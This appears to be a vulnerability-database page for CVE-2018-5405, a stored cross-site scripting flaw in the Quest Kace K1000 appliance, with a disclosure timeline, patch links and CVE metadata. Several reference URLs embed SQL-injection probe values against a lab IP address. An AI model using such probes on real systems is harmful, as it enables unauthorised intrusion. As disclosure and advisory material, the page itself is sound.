added:\n\n===================================\n#Vulnerability Disclosure Timeline:\n===================================\n\n04/2018: Submitted report to CERT-US. \n04/2018: CERT-US reported the issue to vendor. \n05/2018: Awaiting vendor response. \n10/2018: Vendor asked to test the patch as they have fixed these issues already. \n10/2018: Confirmed that all the vulnerabilities except Vulnerability#2 is fixed in 9.0.270 and still exists in other patched version. \n01/2019: Vendor confirmed that they are working on fixing all of the vulnerabilities and would release a patch on May 01 2019 and asked to publish this on June 01 2019 so that customers have enough time to patch. \n05/2019: Vendor published an advisory. \n06/2019: CERT-US published a Vulnerability Note, VU#877837",
    "sources": [
      {
        "db": "NVD",
        "id": "CVE-2018-5405"
      },
      {
        "db": "CERT/CC",
        "id": "VU#877837"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2018-015577"
      },
      {
        "db": "CNVD",
        "id": "CNVD-2019-21111"
      },
      {
        "db": "PACKETSTORM",
        "id": "153150"
      }
    ],
    "trust": 2.97
  },
  "external_ids": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/external_ids#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "db": "NVD",
        "id": "CVE-2018-5405",
        "trust": 3.9
      },
      {
        "db": "CERT/CC",
        "id": "VU#877837",
        "trust": 3.9
      },
      {
        "db": "PACKETSTORM",
        "id": "153150",
        "trust": 2.5
      },
      {
        "db": "JVN",
        "id": "JVNVU91210160",
        "trust": 0.8
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2018-015577",
        "trust": 0.8
      },
      {
        "db": "CNVD",
        "id": "CNVD-2019-21111",
        "trust": 0.6
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201906-042",
        "trust": 0.6
      }
    ],
    "sources": [
      {
        "db": "CERT/CC",
        "id": "VU#877837"
      },
      {
        "db": "CNVD",
        "id": "CNVD-2019-21111"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2018-015577"
      },
      {
        "db": "PACKETSTORM",
        "id": "153150"
      },
      {
        "db": "NVD",
        "id": "CVE-2018-5405"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201906-042"
      }
    ]
  },
  "id": "VAR-201906-1119",
  "iot": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/iot#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": true,
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2019-21111"
      }
    ],
    "trust": 1.2666667
  },
  "iot_taxonomy": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "category": [
          "Network device"
        ],
        "sub_category": null,
        "trust": 0.6
      }
    ],
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2019-21111"
      }
    ]
  },
  "last_update_date": "2023-12-18T12:28:09.282000Z",
  "patch": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/patch#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "title": "CERT Coordination Center report update (288310)",
        "trust": 0.8,
        "url": "https://support.quest.com/ja-jp/kb/288310/cert-coordination-center-report-update"
      },
      {
        "title": "Patch for QuestSoftwareKaceK1000Appliance Cross-Site Scripting Vulnerability",
        "trust": 0.6,
        "url": "https://www.cnvd.org.cn/patchinfo/show/166969"
      },
      {
        "title": "Quest Software Kace K1000 Appliance Fixes for cross-site scripting vulnerabilities",
        "trust": 0.6,
        "url": "http://www.cnnvd.org.cn/web/xxk/bdxqbyid.tag?id=93134"
      }
    ],
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2019-21111"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2018-015577"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201906-042"
      }
    ]
  },
  "problemtype_data": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "problemtype": "CWE-79",
        "trust": 1.8
      }
    ],
    "sources": [
      {
        "db": "JVNDB",
        "id": "JVNDB-2018-015577"
      },
      {
        "db": "NVD",
        "id": "CVE-2018-5405"
      }
    ]
  },
  "references": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/references#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "trust": 3.0,
        "url": "https://www.kb.cert.org/vuls/id/877837/"
      },
      {
        "trust": 3.0,
        "url": "http://packetstormsecurity.com/files/153150/dell-kace-system-management-appliance-sma-xss-sql-injection.html"
      },
      {
        "trust": 2.5,
        "url": "https://support.quest.com/kb/288310/cert-coordination-center-report-update"
      },
      {
        "trust": 1.6,
        "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2018-5405"
      },
      {
        "trust": 1.5,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2018-5405"
      },
      {
        "trust": 0.8,
        "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2018-5404"
      },
      {
        "trust": 0.8,
        "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2018-5406"
      },
      {
        "trust": 0.8,
        "url": "https://support.quest.com/kace-systems-management-appliance/9.1/download-new-releaseshttps://support.quest.com/https://support.quest.com/kb/288310/cert-coordination-center-report-update"
      },
      {
        "trust": 0.8,
        "url": "https://jvn.jp/vu/jvnvu91210160/index.html"
      },
      {
        "trust": 0.1,
        "url": "http://192.168.247.100/adminui/oval_detail.php?id=6200+and+6432=6444"
      },
      {
        "trust": 0.1,
        "url": "http://192.168.247.100/common/ajax_lookup_list.php?query_type=submitter\u0026parent_mapping=false\u0026place_holder=unassigned\u0026suppress_place_holder_as_choice=false\u0026selected=13\u0026selvalue=13\u0027\u0027\u0026queue_id=1\u0026limit=10\u0026org_id=1\u0026locale=en_us\u0026id=13"
      },
      {
        "trust": 0.1,
        "url": "https://www.kb.cert.org/vuls/id/877837/]"
      },
      {
        "trust": 0.1,
        "url": "http://192.168.247.100/common/ajax_lookup_list.php?query_type=submitter\u0026parent_mapping=false\u0026place_holder=unassigned\u0026suppress_place_holder_as_choice=false\u0026selected=13\u0026selvalue=13\u0027\u0026queue_id=1\u0026limit=10\u0026org_id=1\u0026locale=en_us\u0026id=13"
      },
      {
        "trust": 0.1,
        "url": "http://192.168.247.100/adminui/oval_detail.php?id=6200+and+6432=6432"
      },
      {
        "trust": 0.1,
        "url": "http://192.168.247.100/userui/ticket.php?queue_id=1"
      },
      {
        "trust": 0.1,
        "url": "https://www.quest.com/products/kace-systems-management-appliance/]"
      },
      {
        "trust": 0.1,
        "url": "http://192.168.247.100/adminui/oval_list.php"
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2018-5406"
      }
    ],
    "sources": [
      {
        "db": "CERT/CC",
        "id": "VU#877837"
      },
      {
        "db": "CNVD",
        "id": "CNVD-2019-21111"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2018-015577"
      },
      {
        "db": "PACKETSTORM",
        "id": "153150"
      },
      {
        "db": "NVD",
        "id": "CVE-2018-5405"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201906-042"
      }
    ]
  },
  "sources": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/sources#",
      "data": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "db": "CERT/CC",
        "id": "VU#877837"
      },
      {
        "db": "CNVD",
        "id": "CNVD-2019-21111"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2018-015577"
      },
      {
        "db": "PACKETSTORM",
        "id": "153150"
      },
      {
        "db": "NVD",
        "id": "CVE-2018-5405"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201906-042"
      }
    ]
  },
  "sources_release_date": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
      "data": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "date": "2019-06-01T00:00:00",
        "db": "CERT/CC",
        "id": "VU#877837"
      },
      {
        "date": "2019-07-04T00:00:00",
        "db": "CNVD",
        "id": "CNVD-2019-21111"
      },
      {
        "date": "2019-06-18T00:00:00",
        "db": "JVNDB",
        "id": "JVNDB-2018-015577"
      },
      {
        "date": "2019-06-03T20:53:31",
        "db": "PACKETSTORM",
        "id": "153150"
      },
      {
        "date": "2019-06-03T19:29:01.657000",
        "db": "NVD",
        "id": "CVE-2018-5405"
      },
      {
        "date": "2019-06-03T00:00:00",
        "db": "CNNVD",
        "id": "CNNVD-201906-042"
      }
    ]
  },
  "sources_update_date": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
      "data": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "date": "2019-06-03T00:00:00",
        "db": "CERT/CC",
        "id": "VU#877837"
      },
      {
        "date": "2019-07-04T00:00:00",
        "db": "CNVD",
        "id": "CNVD-2019-21111"
      },
      {
        "date": "2019-06-18T00:00:00",
        "db": "JVNDB",
        "id": "JVNDB-2018-015577"
      },
      {
        "date": "2019-10-09T23:41:18.657000",
        "db": "NVD",
        "id": "CVE-2018-5405"
      },
      {
        "date": "2019-10-17T00:00:00",
        "db": "CNNVD",
        "id": "CNNVD-201906-042"
      }
    ]
  },
  "threat_type": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/threat_type#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "remote",
    "sources": [
      {
        "db": "PACKETSTORM",
        "id": "153150"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201906-042"
      }
    ],
    "trust": 0.7
  },
  "title": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/title#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "Quest Software Kace K1000 Appliance Cross-Site Scripting Vulnerability",
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2019-21111"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201906-042"
      }
    ],
    "trust": 1.2
  },
  "type": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/type#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "XSS",
    "sources": [
      {
        "db": "CNNVD",
        "id": "CNNVD-201906-042"
      }
    ],
    "trust": 0.6
  }
}

cve-2018-5405

Vulnerability from cvelistv5

Published

2019-06-03 18:23

Modified

2024-08-05 05:33

Severity ?

Summary

References

▼	URL	Tags
	https://www.kb.cert.org/vuls/id/877837/	third-party-advisory, x_refsource_CERT-VN
	https://support.quest.com/kb/288310/cert-coordination-center-report-update	x_refsource_CONFIRM
	http://packetstormsecurity.com/files/153150/Dell-KACE-System-Management-Appliance-SMA-XSS-SQL-Injection.html	x_refsource_MISC

Impacted products

Vendor

Product

Version

▼

Quest Kace

K1000 Appliance

Version: 9.0.270 < 9.0.270

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-05T05:33:44.381Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "name": "VU#877837",
            "tags": [
              "third-party-advisory",
              "x_refsource_CERT-VN",
              "x_transferred"
            ],
            "url": "https://www.kb.cert.org/vuls/id/877837/"
          },
          {
            "tags": [
              "x_refsource_CONFIRM",
              "x_transferred"
            ],
            "url": "https://support.quest.com/kb/288310/cert-coordination-center-report-update"
          },
          {
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "http://packetstormsecurity.com/files/153150/Dell-KACE-System-Management-Appliance-SMA-XSS-SQL-Injection.html"
          }
        ],
        "title": "CVE Program Container"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "K1000 Appliance",
          "vendor": "Quest Kace",
          "versions": [
            {
              "lessThan": "9.0.270",
              "status": "affected",
              "version": "9.0.270",
              "versionType": "custom"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "value": "Thanks to Kapil Khot for reporting this vulnerability."
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "The Quest Kace K1000 Appliance, versions prior to 9.0.270, allows an authenticated least privileged user with \u0027User Console Only\u0027 rights to potentially inject arbitrary JavaScript code on the tickets page. Script execution could allow a malicious user of the system to steal session cookies of other users including Administrator and take over their session. This can further be exploited to launch other attacks. The software also does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other user. An authenticated user with \u0027user console only\u0027 rights may inject arbitrary JavaScript, which could result in an attacker taking over a session of others, including an Administrator."
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-79",
              "description": "CWE-79",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2019-06-04T22:06:03",
        "orgId": "37e5125f-f79b-445b-8fad-9564f167944b",
        "shortName": "certcc"
      },
      "references": [
        {
          "name": "VU#877837",
          "tags": [
            "third-party-advisory",
            "x_refsource_CERT-VN"
          ],
          "url": "https://www.kb.cert.org/vuls/id/877837/"
        },
        {
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://support.quest.com/kb/288310/cert-coordination-center-report-update"
        },
        {
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "http://packetstormsecurity.com/files/153150/Dell-KACE-System-Management-Appliance-SMA-XSS-SQL-Injection.html"
        }
      ],
      "source": {
        "discovery": "UNKNOWN"
      },
      "title": "The Quest Kace K1000 Appliance is vulnerable to JavaScript injection.",
      "x_generator": {
        "engine": "Vulnogram 0.0.6"
      },
      "x_legacyV4Record": {
        "CVE_data_meta": {
          "ASSIGNER": "cert@cert.org",
          "ID": "CVE-2018-5405",
          "STATE": "PUBLIC",
          "TITLE": "The Quest Kace K1000 Appliance is vulnerable to JavaScript injection."
        },
        "affects": {
          "vendor": {
            "vendor_data": [
              {
                "product": {
                  "product_data": [
                    {
                      "product_name": "K1000 Appliance",
                      "version": {
                        "version_data": [
                          {
                            "version_affected": "\u003c",
                            "version_name": "9.0.270",
                            "version_value": "9.0.270"
                          }
                        ]
                      }
                    }
                  ]
                },
                "vendor_name": "Quest Kace"
              }
            ]
          }
        },
        "credit": [
          {
            "lang": "eng",
            "value": "Thanks to Kapil Khot for reporting this vulnerability."
          }
        ],
        "data_format": "MITRE",
        "data_type": "CVE",
        "data_version": "4.0",
        "description": {
          "description_data": [
            {
              "lang": "eng",
              "value": "The Quest Kace K1000 Appliance, versions prior to 9.0.270, allows an authenticated least privileged user with \u0027User Console Only\u0027 rights to potentially inject arbitrary JavaScript code on the tickets page. Script execution could allow a malicious user of the system to steal session cookies of other users including Administrator and take over their session. This can further be exploited to launch other attacks. The software also does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other user. An authenticated user with \u0027user console only\u0027 rights may inject arbitrary JavaScript, which could result in an attacker taking over a session of others, including an Administrator."
            }
          ]
        },
        "generator": {
          "engine": "Vulnogram 0.0.6"
        },
        "problemtype": {
          "problemtype_data": [
            {
              "description": [
                {
                  "lang": "eng",
                  "value": "CWE-79"
                }
              ]
            }
          ]
        },
        "references": {
          "reference_data": [
            {
              "name": "VU#877837",
              "refsource": "CERT-VN",
              "url": "https://www.kb.cert.org/vuls/id/877837/"
            },
            {
              "name": "https://support.quest.com/kb/288310/cert-coordination-center-report-update",
              "refsource": "CONFIRM",
              "url": "https://support.quest.com/kb/288310/cert-coordination-center-report-update"
            },
            {
              "name": "http://packetstormsecurity.com/files/153150/Dell-KACE-System-Management-Appliance-SMA-XSS-SQL-Injection.html",
              "refsource": "MISC",
              "url": "http://packetstormsecurity.com/files/153150/Dell-KACE-System-Management-Appliance-SMA-XSS-SQL-Injection.html"
            }
          ]
        },
        "source": {
          "discovery": "UNKNOWN"
        }
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "37e5125f-f79b-445b-8fad-9564f167944b",
    "assignerShortName": "certcc",
    "cveId": "CVE-2018-5405",
    "datePublished": "2019-06-03T18:23:49",
    "dateReserved": "2018-01-12T00:00:00",
    "dateUpdated": "2024-08-05T05:33:44.381Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
Confirmed: The vulnerability is confirmed from an analyst perspective.
Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
Patched: This vulnerability was successfully patched by the user reporting the sighting.
Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
Not confirmed: The user expresses doubt about the veracity of the vulnerability.
Not patched: This vulnerability was not successfully patched by the user reporting the sighting.

Action not permitted

var-201906-1119

Vulnerability from variot

Date: [12/04/2018]

Exploit Author: [SlidingWindow], Twitter: @kapil_khot

Vendor Homepage: [https://www.quest.com/products/kace-systems-management-appliance/]

Affected Versions: [KACE SMA versions prior to 9.0.270 PATCH SEC2018_20180410]

Tested on: [Quest Kace K1000 Appliance versions, 8.0.318, 8.0.320 and 9.0.270 ]

CVE : [CVE-2018-5404,CVE-2018-5405,CVE-2018-5406]

CERT Advisory: [https://www.kb.cert.org/vuls/id/877837/]

Vendor Advisory: https://support.quest.com/kb/288310/cert-coordination-center-report-update

Product:-

Vulnerability Details:-

Proof-Of-Concept:

Proof-Of-Concept:

Proof-Of-Concept:

Proof-Of-Concept:

Vulnerability Disclosure Timeline:

cve-2018-5405

Vulnerability from cvelistv5

Tags

Sightings

Nomenclature